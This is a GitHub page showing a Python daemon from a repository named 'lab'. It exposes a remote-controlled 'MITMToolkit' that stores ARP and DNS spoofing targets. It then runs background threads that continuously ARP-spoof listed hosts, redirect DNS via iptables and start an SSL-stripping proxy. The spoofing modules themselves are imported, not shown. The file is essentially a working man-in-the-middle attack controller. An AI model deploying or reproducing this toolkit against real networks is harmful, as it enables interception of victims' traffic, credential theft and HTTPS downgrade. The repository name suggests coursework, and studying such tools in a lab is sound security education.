lab/daemon.py at master · Valatka/lab · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# saved as greeting-server.py
import sys
import threading
from time import sleep
import Pyro5.api
from modules import database, arp_spoof, dns_spoof, ssl_strip

@Pyro5.api.expose
class MITMToolkit(object):
    def __init__(self):
        self.cur = database.init_database()

    def list_arp(self):
        return database.list_arp(self.cur)

    def spoof_arp(self, target_ip, gateway_ip, dns_spoof_enabled, ssl_strip_enabled):
        database.add_or_update_arp_entry(self.cur, target_ip, gateway_ip,  dns_spoof_enabled, ssl_strip_enabled)

    def delete_arp(self, target_ip, gateway_ip):
        database.delete_arp_entry(self.cur, target_ip, gateway_ip)
        arp_spoof.restore(target_ip, gateway_ip)

    def clear_arp(self):
        all = self.list_arp()
        for target, gateway, _, _ in all:
            arp_spoof.restore(target, gateway)
        database.clear_arp_entries(self.cur)

    def list_dns(self):
        return database.list_dns(self.cur)

    def add_dns(self, domain, ip):
        database.add_dns_entry(self.cur, domain, ip)

    def delete_dns(self, domain):
        database.delete_dns_entry(self.cur, domain)

    def clear_dns(self):
        database.clear_dns_entries(self.cur)


daemon = Pyro5.server.Daemon()
ns = Pyro5.api.locate_ns()
uri = daemon.register(MITMToolkit)
ns.register("mitm.toolkit", uri)


def arp_loop():
    cur = database.init_database()
    while True:
        arps =  database.list_arp(cur)
        # todo parrelalize (I can't spell)
        for target, gateway, _, _ in arps:
            arp_spoof.spoof(target, gateway)
        sleep(2)

def dns_loop():
    cur = database.init_database()
    dns_spoof.setup_iptables()
    dns_spoof.dns_spoof_start(cur)

def ssl_loop():
    ssl_strip.setup_iptables()
    ssl_strip.start_sslstrip_proxy()


threading.Thread(target=arp_loop).start()
threading.Thread(target=dns_loop).start()
threading.Thread(target=ssl_loop).start()

try:
    daemon.requestLoop()
except KeyboardInterrupt:
    sys.exit()